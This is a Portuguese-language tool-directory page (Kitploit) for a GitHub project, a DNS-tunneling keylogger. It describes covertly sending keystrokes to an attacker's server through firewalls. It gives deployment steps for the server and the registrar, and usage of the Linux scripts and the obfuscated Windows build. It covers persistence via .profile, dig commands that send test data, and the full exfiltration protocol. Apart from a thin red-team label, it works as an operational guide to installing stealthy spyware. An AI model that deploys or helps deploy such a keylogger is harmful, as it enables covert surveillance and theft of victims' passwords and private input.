Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Ferramentas/GitHubGitHub/geeoon/dns-tunnel-keylogger
Exfiltração de DadosPós-ExploraçãoComando e ControleRed TeamingAnálise de DNS
GitHubgeeoon/dns-tunnel-keylogger

DNS-Tunnel-Keylogger

Servidor e cliente de keylogging que usa tunelamento/exfiltração DNS para transmitir teclas através de firewalls.

Ver Repositório
280454há 2 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Keylogger de Tunelamento DNS

Este keylogger pós-exploração irá exfiltrar secretamente as teclas digitadas para um servidor.

Estas ferramentas são excelentes para exfiltração leve e persistência, propriedades que evitam a detecção. Elas usam tunelamento/exfiltração DNS para contornar firewalls e evitar detecção.

Servidor

Configuração

O servidor usa python3.

Para instalar as dependências, execute python3 -m pip install -r requirements.txt

Iniciando o Servidor

Para iniciar o servidor, execute python3 main.py

root@kitploit:~
usage: dns exfiltration server [-h] [-p PORT] ip domain

positional arguments:
  ip
  domain

options:
  -h, --help            show this help message and exit
  -p PORT, --port PORT  port to listen on

Por padrão, o servidor escuta na porta UDP 53. Use a flag -p para especificar uma porta diferente.

ip é o endereço IP do servidor. É usado nos registros SOA e NS, que permitem que outros servidores de nomes encontrem o servidor.

domain é o domínio para escutar, que deve ser o domínio para o qual o servidor é autoritativo.

Registrador

No registrador, você deve alterar o namespace do seu domínio para DNS personalizado.

Aponte-os para dois domínios, ns1.example.com e ns2.example.com.

DNS Personalizado no Spaceship

Adicione registros que apontem os domínios de namespace para o endereço IP do seu servidor de exfiltração.

Servidores de Nomes Pessoais no Spaceship

Isso é o mesmo que definir registros de glue.

Cliente

Linux

O keylogger Linux consiste em dois scripts bash. connection.sh é usado pelo script logger.sh para enviar as teclas digitadas para o servidor. Se você quiser enviar dados manualmente, como um arquivo, pode redirecionar dados para o script connection.sh. Ele estabelecerá automaticamente uma conexão e enviará os dados.

logger.sh

root@kitploit:~
Usage: logger.sh [-options] domain
Positional Arguments:
  domain: the domain to send data to
Options:
  -p path: give path to log file to listen to
  -l: run the logger with warnings and errors printed

Para iniciar o keylogger, execute o comando ./logger.sh [domain] && exit. Isso iniciará silenciosamente o keylogger, e todas as entradas digitadas serão enviadas. O && exit no final fará com que o shell seja fechado ao sair. Sem ele, sair retornará ao shell sem keylog. Remova o &> /dev/null para exibir mensagens de erro.

A opção -p especificará a localização do arquivo de log temporário para onde todas as entradas são enviadas. Por padrão, é /tmp/.

A opção -l exibirá avisos e erros. Pode ser útil para depuração.

logger.sh e connection.sh devem estar no mesmo diretório para o keylogger funcionar. Se quiser persistência, você pode adicionar o comando ao .profile para iniciar em todo novo shell interativo.

connection.sh

root@kitploit:~
Usage: command [-options] domain
Positional Arguments:
  domain: the domain to send data to
Options:
  -n: number of characters to store before sending a packet

Windows

Build

Para compilar o programa de keylogging, execute make no diretório windows. Para compilar com tamanho reduzido e alguma ofuscação, use o alvo production. Isso criará o diretório build para você e gerará um arquivo chamado logger.exe no diretório build. Eu só testei a compilação usando MinGW no Windows 10. Se você tentar usar g++ em uma máquina não Windows, provavelmente obterá erros de compilação relacionados a windows.h.

make production domain=example.com

Você também pode optar por compilar o programa com depuração usando o alvo debug.

make debug domain=example.com

Para ambos os alvos, você precisará especificar o domínio que o servidor está escutando.

Enviando Requisições de Teste

Você pode usar dig para enviar requisições ao servidor:

dig @127.0.0.1 a.1.1.1.example.com A +short enviar uma requisição de conexão para um servidor no localhost.

dig @127.0.0.1 b.1.1.54686520717569636B2062726F776E20666F782E1B.example.com A +short enviar uma mensagem de teste para o localhost.

Substitua example.com pelo domínio que o servidor está escutando.

Protocolo

Iniciando uma Conexão

Requisições de registro A começando com a indicam o início de uma "conexão". Quando o servidor as recebe, ele responde com um endereço IP falso não reservado, onde o último octeto contém o id do cliente.

O seguinte é o formato a seguir para iniciar uma conexão: a.1.1.1.[sld].[tld].

O servidor responderá com um endereço IP no seguinte formato: 123.123.123.[id]

Conexões simultâneas não podem exceder 254, e os clientes nunca são considerados "desconectados".

Exfiltração de Dados

Requisições de registro A começando com b indicam dados exfiltrados sendo enviados ao servidor.

O seguinte é o formato a seguir para enviar dados após estabelecer uma conexão: b.[packet #].[id].[data].[sld].[tld].

O servidor responderá com [code].123.123.123

id é o id que foi estabelecido na conexão. Os dados são enviados como ASCII codificado em hex.

code é um dos códigos descritos abaixo.

Códigos de Resposta

200: OK

Se o cliente enviar uma requisição que é processada normalmente, o servidor responderá com o código 200.

201: Requisições de Registro Malformadas

Se o cliente enviar uma requisição de registro malformada, o servidor responderá com o código 201.

202: Conexões Inexistentes

Se o cliente enviar um pacote de dados com um id maior que o número de conexões, o servidor responderá com o código 202.

203: Pacotes Fora de Ordem

Se o cliente enviar um pacote com um id de pacote que não corresponde ao esperado, o servidor responderá com o código 203. Clientes e servidores devem redefinir seus números de pacote para 0. Então o cliente pode reenviar o pacote com o novo id de pacote.

204: Atingiu o Máximo de Conexões

Se o cliente tentar criar uma conexão quando o máximo foi atingido, o servidor responderá com o código 204.

Pacotes Perdidos

Os clientes devem confiar nas respostas como confirmações de recebimento de pacotes. Se não receberem uma resposta, devem reenviar a mesma carga útil.

Notas Adicionais

Linux

Arquivo de Log

O arquivo de log que contém as entradas do usuário contém caracteres de controle ASCII, como backspace, delete e carriage return. Se você imprimir o conteúdo usando algo como cat, deve selecionar a opção apropriada para imprimir caracteres de controle ASCII, como -v para cat, ou abri-lo em um editor de texto.

Shells Não Interativos

O keylogger depende de script, portanto não será executado em shells não interativos.

Windows

Requisições Repetidas

Por alguma razão, o Dns_Query_A do Windows sempre envia requisições duplicadas. O servidor processará corretamente, pois descarta pacotes repetidos.

Baixar ferramenta